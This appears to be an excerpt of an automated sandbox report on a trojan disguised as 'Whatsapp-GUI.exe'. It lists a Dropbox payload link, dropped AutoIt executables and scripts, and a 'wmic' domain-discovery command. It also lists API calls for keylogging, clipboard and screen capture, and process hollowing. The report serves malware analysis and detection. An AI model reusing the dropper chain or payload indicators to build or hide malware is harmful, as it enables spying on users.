Source: Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8E000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8A000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.docsend.com/
Source: Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B3E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com
Source: Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8E000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8A000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/
Source: Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8E000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8A000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist
Source: Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8E000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8A000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/encrypted_folder_download/service_worker.js
Source: Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8E000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8A000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/page_success/
Source: Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8E000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8A000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/pithos/
Source: Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8E000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8A000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/playlist/
Source: Whatsapp-GUI.exe	String found in binary or memory: https://www.dropbox.com/scl/fi/puclhgu65e9r37o3vcp9m/yutighh.zip?rlkey=csgz30n1xx1twdk9ue4m4p16s&st=
Source: Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8E000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8A000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/service_worker.js
Source: Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8E000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8A000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/static/api/
Source: Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/static/serviceworker/
Source: Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8E000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8A000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/v/s/playlist/
Source: Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.dropboxstatic.com/static/
Source: Autoit3.exe.2.dr	String found in binary or memory: https://www.globalsign.com/repository/0
Source: Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002C2C000.00000004.00000800.00020000.00000000.sdmp, UpdaterService.exe, 00000002.00000003.1832205253.0000000005091000.00000004.00001000.00020000.00000000.sdmp, UpdaterService.exe, 00000002.00000003.1834387341.0000000004FB6000.00000004.00001000.00020000.00000000.sdmp, UpdaterService.exe, 00000002.00000003.1831730569.0000000005093000.00000004.00001000.00020000.00000000.sdmp, Autoit3.exe.0.dr, Autoit3.exe.2.dr	String found in binary or memory: https://www.globalsign.com/repository/06
Source: Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8E000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8A000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/recaptcha/
Source: Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8E000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8A000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/recaptcha/
Source: Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8E000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8A000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.hellofax.com/
Source: Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8E000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8A000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.hellosign.com/
Source: Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8E000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B8A000.00000004.00000800.00020000.00000000.sdmp, Whatsapp-GUI.exe, 00000000.00000002.1817740584.0000000002B5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.paypal.com/sdk/js

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443

Uses secure TLS version for HTTPS connections

Source: unknown	HTTPS traffic detected: 162.125.69.18:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.125.69.15:443 -> 192.168.2.4:49737 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Source: C:\ProgramData\bfadeeb\Autoit3.exe

Code function: 9_2_008B4632 OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,

9_2_008B4632

Source: C:\ProgramData\bfadeeb\Autoit3.exe

Code function: 9_2_008B4830 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,

9_2_008B4830

Source: C:\ProgramData\bfadeeb\Autoit3.exe

9_2_008B4632

Source: C:\ProgramData\bfadeeb\Autoit3.exe

Code function: 9_2_03B9B188 GetObjectA,GetDC,CreateCompatibleDC,CreateBitmap,CreateCompatibleBitmap,GetDeviceCaps,GetDeviceCaps,SelectObject,GetDIBColorTable,GetDIBits,SelectObject,CreateDIBSection,GetDIBits,SelectObject,SelectPalette,RealizePalette,FillRect,SetTextColor,SetBkColor,SetDIBColorTable,PatBlt,CreateCompatibleDC,SelectObject,SelectPalette,RealizePalette,SetTextColor,SetBkColor,BitBlt,SelectPalette,SelectObject,DeleteDC,SelectPalette,

9_2_03B9B188

Source: C:\ProgramData\bfadeeb\Autoit3.exe

Code function: 9_2_008A0508 GetKeyboardState,GetAsyncKeyState,GetKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,GetAsyncKeyState,GetKeyState,

9_2_008A0508

Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Code function: 0_2_0765B930 GetKeyState,GetKeyState,GetKeyState,GetKeyState,GetKeyState,		0_2_0765B930
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: 9_2_008CD164 DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,_wcsncpy,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,		9_2_008CD164

Protection of GUI

Source: C:\ProgramData\bfadeeb\Autoit3.exe

Code function: 9_2_03BB2170 OpenDesktopA,CreateDesktopA,SetThreadDesktop,CreateProcessA,

9_2_03BB2170

System Summary

Source: C:\ProgramData\Updater\UpdaterService.exe

Process Stats: CPU usage > 49%

Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: 9_2_03BB43EC NtDuplicateObject,NtClose,	9_2_03BB43EC
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: 9_2_03BB476C Sleep,TerminateThread,NtClose,NtClose,	9_2_03BB476C
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: 9_2_03BB44C8 NtQuerySystemInformation,NtDuplicateObject,NtClose,NtClose,NtClose,NtClose,NtClose,NtClose,NtClose,	9_2_03BB44C8
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: 9_2_03BB4420 NtQueryObject,NtQueryObject,	9_2_03BB4420
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: 9_2_03BB4478 NtOpenProcess,	9_2_03BB4478
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: 9_2_03B8AF84 GetCurrentProcessId,OpenProcess,InitializeProcThreadAttributeList,GetProcessHeap,RtlAllocateHeap,InitializeProcThreadAttributeList,UpdateProcThreadAttribute,CreateProcessA,NtQueryInformationProcess,ReadProcessMemory,ReadProcessMemory,WriteProcessMemory,ResumeThread,Sleep,GetTickCount,	9_2_03B8AF84
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: 9_2_03B92CF0 BeginPaint,SetBkMode,TextOutA,EndPaint,PostQuitMessage,NtdllDefWindowProc_A,	9_2_03B92CF0
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: 9_2_03B8B2A4 GetCurrentProcessId,CreateProcessA,NtQueryInformationProcess,ReadProcessMemory,ReadProcessMemory,WriteProcessMemory,ResumeThread,Sleep,GetTickCount,	9_2_03B8B2A4

Source: C:\ProgramData\bfadeeb\Autoit3.exe

Code function: 9_2_008A42D5: CreateFileW,DeviceIoControl,CloseHandle,

9_2_008A42D5

Source: C:\ProgramData\bfadeeb\Autoit3.exe

Code function: 9_2_00898F2E _memset,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcscpy,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,

9_2_00898F2E

Source: C:\ProgramData\bfadeeb\Autoit3.exe

Code function: 9_2_008A5778 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,

9_2_008A5778

Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Code function: 0_2_0116D55C	0_2_0116D55C
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Code function: 0_2_0765075B	0_2_0765075B
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Code function: 0_2_076558C0	0_2_076558C0
Source: C:\ProgramData\Updater\UpdaterService.exe	Code function: 2_3_04F734BA	2_3_04F734BA
Source: C:\ProgramData\Updater\UpdaterService.exe	Code function: 2_3_04F734BA	2_3_04F734BA
Source: C:\ProgramData\Updater\UpdaterService.exe	Code function: 2_3_04F2B43F	2_3_04F2B43F
Source: C:\ProgramData\Updater\UpdaterService.exe	Code function: 2_3_04F2B43F	2_3_04F2B43F
Source: C:\ProgramData\Updater\UpdaterService.exe	Code function: 2_3_04F20625	2_3_04F20625
Source: C:\ProgramData\Updater\UpdaterService.exe	Code function: 2_3_04F20625	2_3_04F20625
Source: C:\ProgramData\Updater\UpdaterService.exe	Code function: 2_3_04F1F7D1	2_3_04F1F7D1
Source: C:\ProgramData\Updater\UpdaterService.exe	Code function: 2_3_04F1F7D1	2_3_04F1F7D1
Source: C:\ProgramData\Updater\UpdaterService.exe	Code function: 2_3_04F250DE	2_3_04F250DE
Source: C:\ProgramData\Updater\UpdaterService.exe	Code function: 2_3_04F250DE	2_3_04F250DE
Source: C:\ProgramData\Updater\UpdaterService.exe	Code function: 2_3_04F14134	2_3_04F14134
Source: C:\ProgramData\Updater\UpdaterService.exe	Code function: 2_3_04F14134	2_3_04F14134
Source: C:\ProgramData\Updater\UpdaterService.exe	Code function: 2_3_04F1A343	2_3_04F1A343
Source: C:\ProgramData\Updater\UpdaterService.exe	Code function: 2_3_04F1A343	2_3_04F1A343
Source: C:\ProgramData\Updater\UpdaterService.exe	Code function: 2_3_04F5B8C4	2_3_04F5B8C4
Source: C:\ProgramData\Updater\UpdaterService.exe	Code function: 2_3_04F5B8C4	2_3_04F5B8C4
Source: C:\ProgramData\Updater\UpdaterService.exe	Code function: 2_3_04F51832	2_3_04F51832
Source: C:\ProgramData\Updater\UpdaterService.exe	Code function: 2_3_04F51832	2_3_04F51832
Source: C:\ProgramData\Updater\UpdaterService.exe	Code function: 2_3_04F29A66	2_3_04F29A66
Source: C:\ProgramData\Updater\UpdaterService.exe	Code function: 2_3_04F29A66	2_3_04F29A66
Source: C:\ProgramData\Updater\UpdaterService.exe	Code function: 2_3_04F1EA56	2_3_04F1EA56
Source: C:\ProgramData\Updater\UpdaterService.exe	Code function: 2_3_04F1EA56	2_3_04F1EA56
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: 9_2_0084B020	9_2_0084B020
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: 9_2_00841663	9_2_00841663
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: 9_2_00849C80	9_2_00849C80
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: 9_2_008623F5	9_2_008623F5
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: 9_2_008C8400	9_2_008C8400
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: 9_2_00876502	9_2_00876502
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: 9_2_0084E6F0	9_2_0084E6F0
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: 9_2_0087265E	9_2_0087265E
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: 9_2_0086282A	9_2_0086282A
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: 9_2_008789BF	9_2_008789BF
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: 9_2_008C0A3A	9_2_008C0A3A
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: 9_2_00876A74	9_2_00876A74
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: 9_2_00850BE0	9_2_00850BE0
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: 9_2_0089EDB2	9_2_0089EDB2
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: 9_2_0086CD51	9_2_0086CD51
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: 9_2_008C0EB7	9_2_008C0EB7
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: 9_2_008A8E44	9_2_008A8E44
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: 9_2_00876FE6	9_2_00876FE6
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: 9_2_008633B7	9_2_008633B7
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: 9_2_008494E0	9_2_008494E0
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: 9_2_0086F409	9_2_0086F409
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: 9_2_0085D45D	9_2_0085D45D
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: 9_2_0084F6A0	9_2_0084F6A0
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: 9_2_008616B4	9_2_008616B4
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: 9_2_0085F628	9_2_0085F628
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: 9_2_008678C3	9_2_008678C3
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: 9_2_0086DBA5	9_2_0086DBA5
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: 9_2_00861BA8	9_2_00861BA8
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: 9_2_00879CE5	9_2_00879CE5
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: 9_2_0085DD28	9_2_0085DD28
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: 9_2_00861FC0	9_2_00861FC0
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: 9_2_0086BFD6	9_2_0086BFD6
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: 9_2_03B8A79C	9_2_03B8A79C
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: 9_2_03B86438	9_2_03B86438
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: 9_2_03B9EC00	9_2_03B9EC00
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: 9_2_03BAB1B8	9_2_03BAB1B8
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: 9_2_03BA9BD0	9_2_03BA9BD0

Source: Joe Sandbox View

Dropped File: C:\ProgramData\Updater\UpdaterService.exe (copy) 237D1BCA6E056DF5BB16A1216A434634109478F882D3B1D58344C801D184F95D

Source: C:\ProgramData\Updater\UpdaterService.exe	Code function: String function: 04F1B5B0 appears 59 times
Source: C:\ProgramData\Updater\UpdaterService.exe	Code function: String function: 04F1CA25 appears 36 times
Source: C:\ProgramData\Updater\UpdaterService.exe	Code function: String function: 04F245F0 appears 46 times
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: String function: 03B64394 appears 101 times
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: String function: 03B921B8 appears 36 times
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: String function: 00868B30 appears 42 times
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: String function: 00851A36 appears 34 times
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: String function: 00860D17 appears 70 times
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: String function: 03B66980 appears 111 times
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: String function: 03B64668 appears 48 times
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: String function: 03B64904 appears 92 times

Source: Whatsapp-GUI.exe, 00000000.00000002.1816344898.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: OriginalFilenameclr.dllT vs Whatsapp-GUI.exe

Source: classification engine

Classification label: mal69.troj.spyw.evad.winEXE@10/12@2/3

Source: C:\ProgramData\bfadeeb\Autoit3.exe

Code function: 9_2_008AA6AD GetLastError,FormatMessageW,

9_2_008AA6AD

Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: 9_2_00898DE9 AdjustTokenPrivileges,CloseHandle,		9_2_00898DE9
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Code function: 9_2_00899399 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,		9_2_00899399

Source: C:\ProgramData\bfadeeb\Autoit3.exe

Code function: 9_2_008AB976 SetErrorMode,GetDiskFreeSpaceExW,SetErrorMode,

9_2_008AB976

Source: C:\ProgramData\bfadeeb\Autoit3.exe

Code function: 9_2_008A4148 CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,

9_2_008A4148

Source: C:\ProgramData\bfadeeb\Autoit3.exe

Code function: 9_2_008AC9DA CoInitialize,CoCreateInstance,CoUninitialize,

9_2_008AC9DA

Source: C:\ProgramData\bfadeeb\Autoit3.exe

Code function: 9_2_008A443D __swprintf,__swprintf,FindResourceW,LoadResource,LockResource,FindResourceW,LoadResource,SizeofResource,LockResource,CreateIconFromResourceEx,

9_2_008A443D

Source: C:\Users\user\Desktop\Whatsapp-GUI.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Whatsapp-GUI.exe.log

Jump to behavior

Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7692:120:WilError_03

Source: C:\ProgramData\Updater\UpdaterService.exe

File created: C:\temp\

Jump to behavior

Source: C:\ProgramData\bfadeeb\Autoit3.exe

Command line argument: 0k

9_2_00855F8B

Source: Whatsapp-GUI.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\ProgramData\Updater\UpdaterService.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\ProgramData\Updater\UpdaterService.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior
Source: C:\ProgramData\bfadeeb\Autoit3.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales	Jump to behavior

Source: Whatsapp-GUI.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 50.01%

Source: C:\Users\user\Desktop\Whatsapp-GUI.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\Whatsapp-GUI.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Whatsapp-GUI.exe "C:\Users\user\Desktop\Whatsapp-GUI.exe"
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Process created: C:\ProgramData\Updater\UpdaterService.exe "C:\ProgramData\Updater\UpdaterService.exe" "C:\ProgramData\Updater\ConfigUpdater.a3x"
Source: C:\ProgramData\Updater\UpdaterService.exe	Process created: C:\Windows\SysWOW64\cmd.exe "c:\windows\system32\cmd.exe" /c wmic ComputerSystem get domain > C:\ProgramData\bfadeeb\deddfcf
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic ComputerSystem get domain
Source: unknown	Process created: C:\ProgramData\bfadeeb\Autoit3.exe "C:\ProgramData\bfadeeb\Autoit3.exe" C:\ProgramData\bfadeeb\fhdgaef.a3x
Source: unknown	Process created: C:\ProgramData\bfadeeb\Autoit3.exe "C:\ProgramData\bfadeeb\Autoit3.exe" C:\ProgramData\bfadeeb\fhdgaef.a3x
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Process created: C:\ProgramData\Updater\UpdaterService.exe "C:\ProgramData\Updater\UpdaterService.exe" "C:\ProgramData\Updater\ConfigUpdater.a3x"	Jump to behavior
Source: C:\ProgramData\Updater\UpdaterService.exe	Process created: C:\Windows\SysWOW64\cmd.exe "c:\windows\system32\cmd.exe" /c wmic ComputerSystem get domain > C:\ProgramData\bfadeeb\deddfcf	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic ComputerSystem get domain	Jump to behavior

Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\Whatsapp-GUI.exe	Section loaded: coremessaging.dll	Jump to behavior
